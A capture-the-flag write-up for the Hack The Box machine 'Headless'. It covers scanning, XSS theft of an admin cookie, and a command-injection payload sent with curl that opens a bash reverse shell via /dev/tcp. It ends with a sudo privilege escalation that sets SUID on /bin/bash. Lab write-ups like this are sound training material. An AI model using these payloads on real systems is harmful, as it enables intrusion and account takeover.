Headless HTB Writeup | 0xv01d
Headless Walkthrough
Headless Overview

Headless Headless is a machine on Hack The Box, submitted by dvir1. The machine starts with a basic port scan that reveals SSH and a web service running on port 5000. Through web enumeration, we discover a support form vulnerable to cross-site scripting (XSS). By exploiting this vulnerability, we steal an admin cookie to gain access to the admin dashboard. Further exploration reveals a command injection vulnerability in the website health report feature, allowing us to execute a reverse shell and gain initial access to the system. Privilege escalation is achieved by exploiting a vulnerable syscheck script that we can run as sudo without a password. By replacing the script we gain root privileges and complete the machine.

Reconnaissance

Full Port Scan With Nmap

Starting with a basic port scan we can find two ports open ssh and something running in port 5000, let's enumerate the services running under those ports.


 sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.11.8

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2024-07-19 20:11 CST
Initiating SYN Stealth Scan at 20:11
Scanning 10.10.11.8 [65535 ports]
Discovered open port 22/tcp on 10.10.11.8
Increasing send delay for 10.10.11.8 from 0 to 5 due to 514 out of 1712 dropped probes since last increase.
Increasing send delay for 10.10.11.8 from 5 to 10 due to max_successful_tryno increase to 4
Discovered open port 5000/tcp on 10.10.11.8
Completed SYN Stealth Scan at 20:11, 16.67s elapsed (65535 total ports)
Nmap scan report for 10.10.11.8
Host is up, received user-set (0.47s latency).
Scanned at 2024-07-19 20:11:00 CST for 17s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.86 seconds
           Raw packets sent: 77817 (3.424MB) | Rcvd: 76879 (3.075MB)
	

After enumerate the service and version with nmap we can parse the xml to html with xsltproc so we can read it cleaner in the browser


 sudo nmap -p22,5000 -sCV -vvv -n -Pn 10.10.11.8 -oX targetedXML
[..SNIP..]

 xsltproc targetedXML > index.html

 python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
	

So we have SSH running on debian and also we have Werkzeug running on port 5000, let's enumerate the web technologies

Enumerating Web Technologies

Well pretty much the same, but there's a cookie named "is_admin", we can check it out later, let's enumerate some directories before taking a look a the web.


 whatweb 10.10.11.8:5000
10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.12], Script, Title[Under Construction], Werkzeug[2.2.2.2]
	

Directory Enumeration

There's only two, we have dashboard wich is unauthorized and support, probably we should grab or forge another 'is_admin' cookie let's take a look at the web.


 dirsearch -t 200 -r -F -x 404,503 -u "http://10.10.11.8:5000/" 

 _|. _ _  _  _  _ _|_    v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 11723

Output: /home/0xv01d/CTF/HTB/Machines/Headless/reports/http_10.10.11.8_5000/__24-07-19_20-52-41.txt

Target: http://10.10.11.8:5000/

[20:52:41] Starting: 
[20:54:24] 401 -  317B  - /dashboard
[20:56:24] 200 -    2KB - /support

Task Completed
 

Foothold

Support Form

Well once on the web there's nothing but a support form, also wapalyzer could'n detect any technology, let's start to test some stuff in the form

Hacking Alert

After trying some basic injections a hacking alert is triggered, but as the alert states, a report with the headers it's going to be sent to the administrator anyways, let's test some alternatives

Doing some tests in burp i manage to make it work, assuming that the data is going to be reviewed we can use a data-graber payload so we can try to steal some cookie, we need to set the payload in the message parameter as in some header, i'll place it in the User-Agent.

After a few seconds of sending the payload i get a hit on my server


python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.8 - - [19/Jul/2024 22:58:28] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
 

Now let's change the cookie

Dashboard - Admin Access

And voilà, we're able to nagivate to the Admin dashboard, well seems like we can generate a website health report, let's pass it through burp to see how the data is parsed

Command Injection On Health Report Feature

Well the date it's just passed as shown, i tried to append a chaining command and seems work, it is vulnerable to command injection, let's try to send us a reverse shell

Initial Access

Reverse Shell Set Up

Let's send the payload


curl --path-as-is -i -s -k -X $'POST' -H $'Host: 10.10.11.8:5000' -H $'Referer: http://10.10.11.8:5000/dashboard' -b $'is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' --data-binary $'date=2023-09-15+%26%26+bash+-c+\'bash+-i+>%26+/dev/tcp/10.10.16.58/9001+0>%261\'' 'http://10.10.11.8:5000/dashboard' & disown
 

And catch the shell, let's upgrade it so we can move freely.


nc -nlvp 9001
Connection from 10.10.11.8:33756
bash: cannot set terminal process group (1380): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ 
 

Privilege Escalation

Checking Sudoers Privileges

Checking the sudoers privileges we can run syscheck as sudo without password


dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

dvir@headless:~/app$
 

Analyzing Syscheck Script

Taking a look at the script we can see it performs some system checks but also executes the initdb.sh thats in the working directory './initdb.sh', we can replace it with a custom one that assigns suid privileges to bash


dvir@headless:~/app$ cat /usr/bin/syscheck 
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

dvir@headless:~/app$
 

Exploiting Bash Injection Vulneravility

After running the script we can spawn a privilege shell, and thats it.


dvir@headless:~/app$ echo -e '#/bin/bash\n\n chmod u+s /bin/bash' > ./initdb.sh

dvir@headless:~/app$ chmod +x ./initdb.sh 

dvir@headless:~/app$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.6G
System load average:  0.04, 0.08, 0.02
Database service is not running. Starting it...

dvir@headless:~/app$ bash -p
bash-5.2# whoami
root

bash-5.2# id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)

bash-5.2# 
 
Buy Me A Coffee

0xv01d © 2022 - 2024